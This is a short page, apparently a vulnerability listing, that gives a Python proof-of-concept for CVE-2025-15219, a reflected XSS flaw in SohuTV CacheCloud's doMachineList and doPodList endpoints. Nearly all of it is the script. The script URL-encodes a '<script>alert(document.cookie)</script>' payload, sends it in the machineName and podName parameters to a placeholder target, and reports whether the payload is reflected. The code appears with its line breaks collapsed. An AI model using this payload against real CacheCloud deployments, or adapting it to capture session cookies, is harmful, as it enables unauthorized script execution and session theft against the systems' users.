CVE-2025-15219 SohuTV CacheCloud doMachineList/doPodList函数XSS跨站脚本漏洞

import requests import urllib.parse # CVE-2025-15219 PoC - SohuTV CacheCloud XSS Vulnerability # Target: MachineManageController.java doMachineList/doPodList functions target_url = "http://target-server/cachecloud" # XSS payload for doMachineList function xss_payload = '<script>alert(document.cookie)</script>' encoded_payload = urllib.parse.quote(xss_payload) # PoC for doMachineList endpoint doMachineList_url = f"{target_url}/machineManage/doMachineList?machineName={encoded_payload}" # PoC for doPodList endpoint doPodList_url = f"{target_url}/machineManage/doPodList?podName={encoded_payload}" print("[*] CVE-2025-15219 SohuTV CacheCloud XSS PoC") print(f"[*] Target: {target_url}") print(f"[*] Testing doMachineList endpoint...") try: response = requests.get(doMachineList_url, timeout=10) if xss_payload in response.text or encoded_payload in response.text: print("[+] Potential XSS vulnerability detected!") print(f"[+] Vulnerable URL: {doMachineList_url}") else: print("[-] No obvious XSS reflection found") except requests.RequestException as e: print(f"[-] Request failed: {e}") print(f"[*] Testing doPodList endpoint...") try: response = requests.get(doPodList_url, timeout=10) if xss_payload in response.text or encoded_payload in response.text: print("[+] Potential XSS vulnerability detected!") print(f"[+] Vulnerable URL: {doPodList_url}") else: print("[-] No obvious XSS reflection found") except requests.RequestException as e: print(f"[-] Request failed: {e}")